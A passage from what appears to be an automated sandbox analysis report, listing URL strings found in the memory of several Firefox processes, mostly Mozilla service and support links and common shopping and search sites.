Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000015.00000002.2952417248.000002594244E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7ABC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000015.00000002.2918105959.000002593A51A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3112028417.000001EF30F72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000015.00000002.2879062103.0000025928303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3064689751.000001EF2C544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000015.00000002.2911918698.00000259396A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2822792525.00000259396BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2923113526.000002593AB07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3105540010.000001EF3024D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000015.00000002.2906919520.0000025938E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/connection-not-secure
Source: firefox.exe, 00000015.00000002.2889978017.000002593585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2937149751.000002593FE7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938EF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000015.00000002.2889978017.00000259358D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938ED9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2789894282.000002594023C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963866373.0000352952600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757347333.0000025937E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A23A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E9DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000015.00000002.2884059485.0000025934308000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2949650956.0000025941103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000015.00000002.2924708904.000002593AC08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000015.00000002.2924708904.000002593AC08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: firefox.exe, 00000015.00000002.2924708904.000002593AC08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2944981005.0000025940689000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816233899.0000025940689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000015.00000002.2940088335.0000025940359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000015.00000002.2944981005.000002594066F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2793586096.00000259404C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2797711780.0000025940444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816457923.000002594066F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000015.00000002.2884059485.0000025934308000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756585177.0000025938200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757347333.0000025937E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/media.gmp-manager.cert.checkAttributesFailed
